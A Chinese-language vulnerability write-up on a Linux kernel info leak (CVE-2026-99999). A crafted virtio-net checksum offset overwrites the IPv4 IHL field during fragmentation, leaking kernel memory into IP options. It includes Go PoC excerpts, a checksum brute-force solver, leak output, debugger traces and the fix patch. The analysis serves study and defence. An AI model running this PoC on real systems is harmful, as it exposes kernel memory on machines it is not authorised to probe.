CVE-2026-99999 deferred-metadata trust inversion 原理分析.md

文章目录

简介

通过 poc: CVE-2026-99999 lab probe 分析 CVE-2026-99999 漏洞原理,该 poc 是目前 github 简单搜索得到的几个 poc 中得分最高的,看不出明显 AI 痕迹的一个。

复现该 poc 最好在 6.6+ 内核中进行,6.6 的某一个子版本及之前版本会导致 poc 所需两层 vlan 无法使用需要调整 poc,vlan 不是漏洞利用必须项。

复现poc需要开启以下内核功能

复制代码
CONFIG_VETH # ip link add pwnv0 type veth peer name pwnv1
CONFIG_XFRM
CONFIG_NETFILTER_XT_TARGET_CHECKSUM
CONFIG_TUN
CONFIG_NF_TABLES
CONFIG_NF_TABLES_INET
CONFIG_NFT_CT

poc 编译与执行

复制代码
# 静态构建
# GOTOOLCHAIN=local CGO_ENABLED=0 go build -ldflags '-extldflags "-static"' -o poc poc.go

# ./scripts/setup.sh
# ip netns exec pwnesc ./poc

# ./scripts/setup.sh
[ 1038.361703] pwntap: entered promiscuous mode
net.ipv4.ip_forward = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.pwntap.rp_filter = 0
net.ipv4.conf.pwnv0.rp_filter = 0
pwnesc ready. Leave pwntap unattached and run: sudo ./poc
# ip netns exec pwnesc ./poc
adjustment 0x691a at IP offset 32
verify: first byte 0x4f ihl=15 hdr=4f0000c4111120003ffd5ba80a0000020a630002
adjustment 0x24d6 at IP offset 32
head: payload=8 frame=50 linear_after_strip=28 copy=60 past_headlen=32 via=slab skb (tun_alloc_skb) spray=0 fill=0xee
head: the offset-0 fragment is the skb whose bytes after skb_headlen are copied
leak: 3 output fragment(s)
  frag 0 first=0x4f ihl_bytes=60 tot=196
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
  frag 1 first=0x4f ihl_bytes=60 tot=196
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
  frag 2 first=0x4f ihl_bytes=60 tot=156
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
result: fragmenter copied 32 bytes past the 28-byte linear head into IPv4 options
note: -head selects that skb; -page uses a page_frag head whose tail can hold skb metadata

前要知识

virtio-net 网络报文有三种使用方法:TUN、TAP、virtio-net(虚拟机网卡驱动)。TUN TAP 是虚拟的三层、二层接口,分别可以绑定一个 ip 地址、mac 地址。通常用于提供给容器或者虚拟机网络能力。

协议有csum计算功能,当 flag & VIRTIO_NET_HDR_F_NEEDS_CSUM 时启用,报文将会在转发时计算校验值填写在 csum_start + csum_offset 位置。

复制代码
/* include/uapi/linux/virtio_net.h */
struct virtio_net_hdr {
    __u8       flags;       /* VIRTIO_NET_HDR_F_NEEDS_CSUM, etc. */
    ......
    __virtio16 csum_start;  /* offset to start of checksum */
    __virtio16 csum_offset; /* offset within csum_start to place checksum */
};

参考

virtio-net VIRTIO_NET_HDR_F_NEEDS_CSUM

poc 在每次发送报文时都会使用计算报文校验值功能功能,virtio_net_hdr的第一个字节是flag,flag & 1 表示开启计算报文校验值功能,当开启该功能时,需要计算校验值的区域偏移值填写在在virtio_net_hdr第6个字节开始的csum_start、csum_offset中

复制代码
struct virtio_net_hdr_v1 {
#define VIRTIO_NET_HDR_F_NEEDS_CSUM	1	/* Use csum_start, csum_offset */

struct virtio_net_hdr {
	/* See VIRTIO_NET_HDR_F_* */
	__u8 flags;
	/* See VIRTIO_NET_HDR_GSO_* */
	__u8 gso_type;
	__virtio16 hdr_len;		/* Ethernet + IP + tcp/udp hdrs */
	__virtio16 gso_size;		/* Bytes to append to hdr_len per frame */
	__virtio16 csum_start;	/* Position to start checksumming from */
	__virtio16 csum_offset;	/* Offset after that to place checksum */
};

在 tun 收到报文后通过 virtio_net_hdr_to_skb -> skb_partial_csum_set 标记在 skb->ip_summed = CHECKSUM_PARTIAL;

复制代码
#0  skb_partial_csum_set (skb=skb@entry=0xffff888005822200, start=start@entry=22, off=0) at net/core/skbuff.c:5401
#1  0xffffffff8189daa1 in virtio_net_hdr_to_skb (skb=skb@entry=0xffff888005822200, hdr=hdr@entry=0xffffc90000863d86, little_endian=true) at ./include/linux/virtio_net.h:104
#2  0xffffffff818a0959 in tun_get_user (tun=tun@entry=0xffff888005abc900, tfile=tfile@entry=0xffff888005aa9000, msg_control=msg_control@entry=0x0 <fixed_percpu_data>, from=from@entry=0xffffc90000863e48, noblock=<optimized out>, more=more@entry=false) at drivers/net/tun.c:1873
#3  0xffffffff818a147f in tun_chr_write_iter (iocb=0xffffc90000863e70, from=0xffffc90000863e48) at drivers/net/tun.c:2055
#4  0xffffffff81354954 in call_write_iter (iter=0x18 <fixed_percpu_data+24>, kio=0xffffc90000863e70, file=0xffff8880065ec300) at ./include/linux/fs.h:2018
#5  new_sync_write (ppos=0xffffc90000863ee0, len=352, buf=0xc0001ce160 "\001", filp=0xffff8880065ec300) at fs/read_write.c:491
#6  vfs_write (file=file@entry=0xffff8880065ec300, buf=buf@entry=0xc0001ce160 "\001", count=count@entry=352, pos=pos@entry=0xffffc90000863ee0) at fs/read_write.c:584
#7  0xffffffff81354d57 in ksys_write (fd=<optimized out>, buf=0xc0001ce160 "\001", count=352) at fs/read_write.c:637
#8  0xffffffff81354e0d in __do_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:649
#9  __se_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:646
#10 __x64_sys_write (regs=<optimized out>) at fs/read_write.c:6

对应 poc 的writeTap函数,当开启csum = True时,start对应csum_start。

复制代码
func writeTap(tap *os.File, frame []byte, csum bool, start uint16) error {
	buf := make([]byte, 10+len(frame))
	if csum {
		buf[0] = needsCsum
		binary.LittleEndian.PutUint16(buf[6:], start)
	}
	copy(buf[10:], frame)
	for {
		_, err := tap.Write(buf)

VIRTIO_NET_HDR_F_NEEDS_CSUM一共在以下5个文件功能处会用到

复制代码
7 个结果 - 5 文件

drivers/net/tap.c:
  665  		iov_iter_advance(from, vnet_hdr_len - sizeof(vnet_hdr));
  666: 		if ((vnet_hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
  667  		     tap16_to_cpu(q, vnet_hdr.csum_start) +

drivers/net/tun.c:
  1786  
  1787: 		if ((gso.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
  1788  		    tun16_to_cpu(tun, gso.csum_start) + tun16_to_cpu(tun, gso.csum_offset) + 2 > tun16_to_cpu(tun, gso.hdr_len))

drivers/net/virtio_net.c:
  1193  	/* Partially checksummed packets must be dropped. */
  1194: 	if (unlikely(hdr->hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM))
  1195  		goto err_xdp;

  1519  	/* Partially checksummed packets must be dropped. */
  1520: 	if (unlikely(hdr->hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM))
  1521  		return NULL;

  1802  	 * virtnet_xdp_set()), so packets marked as
  1803: 	 * VIRTIO_NET_HDR_F_NEEDS_CSUM get dropped during XDP processing.
  1804  	 */

drivers/vhost/net.c:
  737  
  738: 	if ((gso->flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
  739  	    vhost16_to_cpu(vq, gso->csum_start) +

net/packet/af_packet.c:
  2604  {
  2605: 	if ((vnet_hdr->flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
  2606  	    (__virtio16_to_cpu(vio_le(), vnet_hdr->csum_start) +

对应两个攻击模式:

入口 代码 谁在发包
tun/tap drivers/net/tun.c:1787 drivers/net/tap.c:666 用户态进程 write(/dev/net/tun) 或 socket 到 tap 设备
vhost-net drivers/vhost/net.c:738 QEMU 虚拟机通过 virtio-net 前端

报文修改

CHECKSUM_PARTIAL 漏洞起作用发生在 ip_do_fragment处,该处是当一个 ip 包超过 mtu 时切片处理位置。

复制代码
net/ipv4/ip_output.c

int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
		   int (*output)(struct net *, struct sock *, struct sk_buff *))
{
	/* for offloaded checksums cleanup checksum before fragmentation */
	if (skb->ip_summed == CHECKSUM_PARTIAL &&
	    (err = skb_checksum_help(skb)))
		goto fail;

ip_do_fragment -> skb_checksum_help 计算校验值,并写入。

复制代码
net/core/dev.c

int skb_checksum_help(struct sk_buff *skb)
{
    offset = skb_checksum_start_offset(skb); // skb->csum_start - (skb->data - skb->head);

	csum = skb_checksum(skb, offset, skb->len - offset, 0); // 计算 offset..skb->len - offset 的校验值
	
	*(__sum16 *)(skb->data + offset) = csum_fold(csum) ?: CSUM_MANGLED_0;

此时,offet 为剥离其他头后的偏移地址 0,poc 使用的是 tap 二层接口,对应 csum 填充位置为二层 ip 头的位置

复制代码
-exec p skb->csum_start - (skb->data - skb->head)
$15 = 0

ip 报文格式,至少20个字节

复制代码
0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
字段 长度 含义
Version 4比特 4:表示为IPv4;6:表示为IPv6。
IHL 4比特 首部长度,如果不带Option字段,则为20,最长为60,该值限制了记录路由选项。以4字节为一个单位。
Type of Service 8比特 服务类型。只有在有QoS差分服务要求时这个字段才起作用。
Total Length 16比特 总长度,整个IP数据报的长度,包括首部和数据之和,单位为字节,最长65535,总长度必须不超过最大传输单元MTU。
Identification 16比特 标识,主机每发一个报文,加1,分片重组时会用到该字段。
Flags 3比特 标志位:
Fragment Offset 13比特 片偏移:分片重组时会用到该字段。表示较长的分组在分片后,某片在原分组中的相对位置。以8个字节为偏移单位。
Time to Live 8比特 生存时间:可经过的最多路由数,即数据包在网络中可通过的路由器数的最大值。
Protocol 8比特 协议:下一层协议。指出此数据包携带的数据使用何种协议,以便目的主机的IP层将数据部分上交给哪个进程处理。
Header Checksum 16比特 首部检验和,只检验数据包的首部,不检验数据部分。这里不采用CRC检验码,而采用简单的计算方法。
Source Address 32比特 源IP地址。
Destination Address 32比特 目的IP地址。
Options 可变 选项字段,用来支持排错,测量以及安全等措施,内容丰富(请参见表3-7)。选项字段长度可变,从1字节到40字节不等,取决于所选项的功能。
Padding 可变 填充字段,全填0。

计算出要写回的校验值为 0x004f,小端写回后,Version = 0x4 不变,IHL = 0xf 变大,Type of Service = 0 不变

复制代码
0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |

iph = ip_hdr(skb); // (struct iphdr *)(skb->head + skb->network_header);

-exec p/x *iph
$11 = {
  ihl = 0xf,
  version = 0x4,
  tos = 0x0,
  tot_len = 0xac01,
  id = 0x9999,
  frag_off = 0x0,
  ttl = 0x3f,
  protocol = 0xfd,
  check = 0x55cb,
  {
    {
      saddr = 0x200000a,
      daddr = 0x200630a
    },
    addrs = {
      saddr = 0x200000a,
      daddr = 0x200630a
    }
  }
}

在skb_checksum_help之后,ip_do_fragment重新读取了ip头iph = ip_hdr(skb);,通过ip_frag_next进行分片

复制代码
net/ipv4/ip_output.c

int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
		   int (*output)(struct net *, struct sock *, struct sk_buff *))
{
	/* for offloaded checksums cleanup checksum before fragmentation */
	if (skb->ip_summed == CHECKSUM_PARTIAL &&
	    (err = skb_checksum_help(skb)))
		goto fail;

	/*
	 *	Point into the IP datagram header.
	 */

	iph = ip_hdr(skb); // (struct iphdr *)(skb->head + skb->network_header);
    
    hlen = iph->ihl * 4;
    
    /*
     *	Fragment the datagram.
     */
    
    ip_frag_init(skb, hlen, ll_rs, mtu, IPCB(skb)->flags & IPSKB_FRAG_PMTU,
    	     &state);
    
	/*
	 *	Keep copying data until we run out.
	 */

	while (state.left > 0) {
        skb2 = ip_frag_next(skb, &state);

void ip_frag_init(struct sk_buff *skb, unsigned int hlen,
		  unsigned int ll_rs, unsigned int mtu, bool DF,
		  struct ip_frag_state *state)
    state->hlen = hlen;

ip_frag_next的分片会分别拷贝头部和数据部分,头部的拷贝直接使用memcpy,而memcpy不会检查数据越界。而拷贝数据用的skb_copy_bits会考虑数据之间可能不连续,可能长度越界。

复制代码
struct sk_buff *ip_frag_next(struct sk_buff *skb, struct ip_frag_state *state)
{
    /*
	 *	Copy the packet header into the new buffer.
	 */

	skb_copy_from_linear_data(skb, skb_network_header(skb2), state->hlen); // memcpy(skb2->head + skb2->network_header, skb->data, state->hlen);

	/*
	 *	Copy a block of the IP datagram.
	 */
	if (skb_copy_bits(skb, state->ptr, skb_transport_header(skb2), len)) // skb->data[hlen(state->ptr)..hlen + len] 拷贝到 skb_transport_header(skb2)

#0  ip_frag_next (skb=skb@entry=0xffff888005822400, state=state@entry=0xffffc90000763a68) at net/ipv4/ip_output.c:714
#1  0xffffffff81aaf7da in ip_do_fragment (net=0xffff888005b58000, sk=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400, output=output@entry=0xffffffff81aaeaa0 <ip_finish_output2>) at net/ipv4/ip_output.c:905
#2  0xffffffff81aafbd3 in ip_fragment (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400, mtu=mtu@entry=200, output=0xffffffff81aaeaa0 <ip_finish_output2>) at net/ipv4/ip_output.c:584
#3  0xffffffff81aafccf in __ip_finish_output (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400) at net/ipv4/ip_output.c:311
#4  0xffffffff81aaff33 in __ip_finish_output (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_output.c:437
#5  ip_finish_output (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_output.c:323
#6  NF_HOOK_COND (pf=2 '\002', hook=4, okfn=0xffffffff81ab0050 <ip_finish_output>, cond=<optimized out>, out=0xffff888005b74000, in=0xffff888005abc000, skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at ./include/linux/netfilter.h:293
#7  ip_output (net=0xffff888005b58000, sk=0x0 <fixed_percpu_data>, skb=0xffff888005822400) at net/ipv4/ip_output.c:433
#8  0xffffffff81aac8e5 in dst_output (skb=<optimized out>, sk=<optimized out>, net=0xffff888005b58000) at ./include/net/dst.h:458
#9  ip_forward_finish (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400) at net/ipv4/ip_forward.c:82
#10 0xffffffff81aacdd6 in NF_HOOK (pf=2 '\002', hook=2, sk=0x0 <fixed_percpu_data>, okfn=0xffffffff81aac860 <ip_forward_finish>, out=0xffff888005b74000, in=0xffff888005abc000, skb=0xffff888005822400, net=0xffff888005b58000) at ./include/linux/netfilter.h:304
#11 ip_forward (skb=0xffff888005822400) at net/ipv4/ip_forward.c:162
#12 0xffffffff81aab614 in dst_input (skb=0xffff888005822400) at ./include/net/dst.h:468
#13 ip_rcv_finish (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_input.c:449
#14 NF_HOOK (sk=0x0 <fixed_percpu_data>, pf=2 '\002', hook=0, in=<optimized out>, out=0x0 <fixed_percpu_data>, okfn=0xffffffff81aab470 <ip_rcv_finish>, skb=0xffff888005822400, net=0xffff888005b58000) at ./include/linux/netfilter.h:304
#15 NF_HOOK (pf=2 '\002', sk=0x0 <fixed_percpu_data>, out=0x0 <fixed_percpu_data>, okfn=0xffffffff81aab470 <ip_rcv_finish>, in=<optimized out>, skb=0xffff888005822400, net=0xffff888005b58000, hook=0) at ./include/linux/netfilter.h:298
#16 ip_rcv (skb=0xffff888005822400, dev=<optimized out>, pt=<optimized out>, orig_dev=<optimized out>) at net/ipv4/ip_input.c:569
#17 0xffffffff819c9c69 in __netif_receive_skb_one_core (skb=<optimized out>, pfmemalloc=pfmemalloc@entry=false) at net/core/dev.c:5559
#18 0xffffffff819c9cf5 in __netif_receive_skb (skb=<optimized out>) at net/core/dev.c:5673
#19 0xffffffff819c9d8d in netif_receive_skb_internal (skb=0xffff888005822400) at net/core/dev.c:5759
#20 netif_receive_skb (skb=skb@entry=0xffff888005822400) at net/core/dev.c:5818
#21 0xffffffff818a0f37 in tun_rx_batched (more=0, skb=0xffff888005822400, tfile=0xffff888005aa8800, tun=0xffff888005abc900) at drivers/net/tun.c:1580
#22 tun_get_user (tun=tun@entry=0xffff888005abc900, tfile=tfile@entry=0xffff888005aa8800, msg_control=msg_control@entry=0x0 <fixed_percpu_data>, from=from@entry=0xffffc90000763e48, noblock=<optimized out>, more=more@entry=false) at drivers/net/tun.c:2009
#23 0xffffffff818a147f in tun_chr_write_iter (iocb=0xffffc90000763e70, from=0xffffc90000763e48) at drivers/net/tun.c:2055
#24 0xffffffff81354954 in call_write_iter (iter=0xc4, kio=0xffffc90000763e70, file=0xffff888006589800) at ./include/linux/fs.h:2018
#25 new_sync_write (ppos=0xffffc90000763ee0, len=60, buf=0xc00001c100 "\001", filp=0xffff888006589800) at fs/read_write.c:491
#26 vfs_write (file=file@entry=0xffff888006589800, buf=buf@entry=0xc00001c100 "\001", count=count@entry=60, pos=pos@entry=0xffffc90000763ee0) at fs/read_write.c:584
#27 0xffffffff81354d57 in ksys_write (fd=<optimized out>, buf=0xc00001c100 "\001", count=60) at fs/read_write.c:637
#28 0xffffffff81354e0d in __do_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:649
#29 __se_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:646
#30 __x64_sys_write (regs=<optimized out>) at fs/read_write.c:646

poc 的设计

发送报文需要两次,并且倒序,先发送second包,payload 部分偏移从8开始,payload 总计 408 字节,后发送最前面 8 字节的报文。

前 8 字节填充为 0xa5,目的是 poc 获取到多余内核数据时判断结果用,多获取的 40 字节(ip 头由 20 变 60 字节)内容将会前 8 字节是 0xa5

复制代码
func leak(tap *os.File, cap *capture, c cfg) error {
	payload := make([]byte, c.head+c.rest) // 408 字节的 data
	for i := 0; i < c.head; i++ {
		payload[i] = marker // 0xa5
	}
	if !solve(payload, ipID) {
		return errors.New("solver found no 0x4f00 adjustment")
	}
	printHead(c)
	// Large fragment first, then same-sized spray, then the offset-0 head.
	// The head skb is the one whose tail the 60-byte copy reads.
	second := frame(fragment(c.head, false, payload[c.head:])) // 第二个帧,data[8:], offset是 8,id 相同
	if err := writeTap(tap, second, true, l2Len+ipLen); err != nil {
		return err
	}
	first := frame(fragment(0, true, payload[:c.head])) // 同一个帧 id 相同,data 只有 8 字节的 0xa5
	if err := writeTap(tap, first, true, csumAtIP); err != nil {
		return err
	}

solve 函数用来调整报文,目的是让报文的校验和最终值是 0x4f,这样 0x4 是代表 ipv4 协议不变,0xf * 4 = 60 将会替代原来 ip 头部表示大小的 IHL 字段,达到内核泄漏数据的目的,发送的报文 IHL 是正常的 20 20字节的含义,但是内核在计算校验值覆盖 ip 头部后,ip 报文的头部被当成了 60 字节,多的 40 字节为 ip 报文的 option 字段。

adj = 32 的目的是,先跳过 ip 头 20 字节,再跳过当作泄漏分析用的第一个报文的 8 字节 0xa5,再字节对齐后的值。在此地调整 payload 使得最终的 checksum 为 0x4f 开头。

复制代码
// solve sets a payload word so skb_checksum_help stores 0x4f00 at offset 0
// after the forwarding TTL decrement.
func solve(payload []byte, id uint16) bool {
	const adj = 32 // even IP offset, inside the second fragment for the leak case
	if adj+1 >= ipLen+len(payload) {
		return false
	}
	off := adj - ipLen
	for w := 0; w < 65536; w++ {
		payload[off] = byte(w)
		payload[off+1] = byte(w >> 8)
		pkt := datagram(id, payload)
		forwardTTL(pkt)
		if csumFold(csumPartial(pkt)) == 0x004f {
			fmt.Printf("adjustment %#04x at IP offset %d\n", w, adj)

两个报文逆序送到内核协议栈后,经过合并、切片,拆分为三个报文:

复制代码
head: payload=8 frame=50 linear_after_strip=28 copy=60 past_headlen=32 via=slab skb (tun_alloc_skb) spray=0 fill=0xee
head: the offset-0 fragment is the skb whose bytes after skb_headlen are copied
leak: 3 output fragment(s)
  frag 0 first=0x4f ihl_bytes=60 tot=196
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
  frag 1 first=0x4f ihl_bytes=60 tot=196
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
  frag 2 first=0x4f ihl_bytes=60 tot=156
    options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
    past guest linear payload: 32 byte(s), 9 nonzero
result: fragmenter copied 32 bytes past the 28-byte linear head into IPv4 options
note: -head selects that skb; -page uses a page_frag head whose tail can hold skb metadata

每个报文的 ip 头经过调整,多了 options 40 bytes,多拷贝的部分前 8 字节来自于 first 报文的数据部分,数据的前 8 字节是 0xa5,后面的就不一定了,为内核泄漏的内存信息。两个数据包进入内核合并后内存地址并不会合并,所以第一个数据包的 8 字节 payload 后并非第二个报文内容。

三个报文的长度分别是 tot=196 - head 60 = 136, 136, tot=156 - head 60 = 96 = 368

但是发送的报文长度是 408,缺少的 40 正式因为 ip 头被错误当作 60 字节后负载经过了重新计算 state->left = skb->len - hlen = 428 - 60 = 368,最终 payload 少了 40 字节,数据泄露不会发生在 payload 字段中。

修复补丁

补丁在skb_checksum_help之前新增了一个ip_check_csum_start函数检查校验字段填写位置的合法性,要求必须在 IP 头之后。

复制代码
diff --git a/include/net/ip.h b/include/net/ip.h
index baea9acd7e85..32825e2ac43d 100644
--- a/include/net/ip.h
+++ b/include/net/ip.h
@@ -72,6 +72,13 @@ static inline unsigned int ip_hdrlen(const struct sk_buff *skb)
 	return ip_hdr(skb)->ihl * 4;
 }
 
+static inline int ip_check_csum_start(const struct sk_buff *skb)
+{
+	if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
+		return -EINVAL;
+	return 0;
+}
+
 struct ipcm_cookie {
 	struct sockcm_cookie	sockc;
 	__be32			addr;
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 3bb198b2c101..c8f966d8c77f 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -778,9 +778,13 @@ int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
 	int err = 0;
 
 	/* for offloaded checksums cleanup checksum before fragmentation */
-	if (skb->ip_summed == CHECKSUM_PARTIAL &&
-	    (err = skb_checksum_help(skb)))
-		goto fail;
+	if (skb->ip_summed == CHECKSUM_PARTIAL) {
+		err = ip_check_csum_start(skb);
+		if (!err)
+			err = skb_checksum_help(skb);
+		if (err)
+			goto fail;
+	}
 
 	/*
 	 *	Point into the IP datagram header.

补丁:

总结

  • 在使用 ip 头之前先进行了skb_checksum_help,但skb_checksum_help未能保证 checksum 被填入了 ip 头的正确位置,virtio_net_hdr来源不可信。
  • 早期阶段使用时按照20字节的头部处理,正确到达了此处分片位置,但再次使用时重读 ip 头,头信息变成了 60 字节,中间存在窗口。

问题

  • 只发一个报文可以触发漏洞吗?
    • 不能,重新利用 ip 头,并发生头拷贝的代码在重新分片的位置
  • poc 新建了 net ns 是必须的吗
    • 不是,仅仅是为了隔离环境
  • 不抓包,数据泄露可能发生到报文中吗
    • 不能,仅拷贝 ip 头的 skb_copy_from_linear_data 函数才会忽略数据边界拷贝,拷贝报文前报文长度会重新计算,正如 poc 结果中最后收到的报文数据长度变短了

必要的环境

  • 注入异常数据包 (virtio-net 协议)
    • tap | tun
    • virtio-net
  • 收到异常数据包(需要收到 ip 头)
    • AF_PACKET + SOCK_RAW,需要 CAP_NET_RAW
    • tcpdump/libpcap
    • eBPF / XDP,需要 CAP_BPF + CAP_NET_ADMIN
      ...

参考

相关推荐
AR-26710-1 小时前
Linux Day24——TCP/IP分层与封装
linux·运维
该逃避避1 小时前
如何利用代理IP进行更好广告验证?
linux·服务器·网络
水饺编程2 小时前
第2章:Linux 基础,重启命令
linux·c语言·汇编
金色熊族2 小时前
在Qt中使用asan检测内存泄漏(一)
linux·qt·asan
第404号工位2 小时前
“已彻底删除”的照片与文件到底去哪了?我用底层扇区扫描,扒出手机和电脑的幽灵数据
linux·python·架构
硅基手札3 小时前
SPI技术系列 12 · SPI 设备驱动实战
linux·驱动开发·单片机·嵌入式硬件·mcu·性能优化·系统架构
不悔哥3 小时前
ESP32上跑 Linux: 乐鑫给 ESP32-S31开放了官方 BSP
linux·嵌入式硬件·开源
syagain_zsx4 小时前
WebSocket 教程:websocketpp 写 echo 服务端
linux·网络·c++·websocket·网络协议·工具库
无足鸟ICT4 小时前
【RHCA+】_etc_yum.repos.d_文件名.repo
linux·运维·centos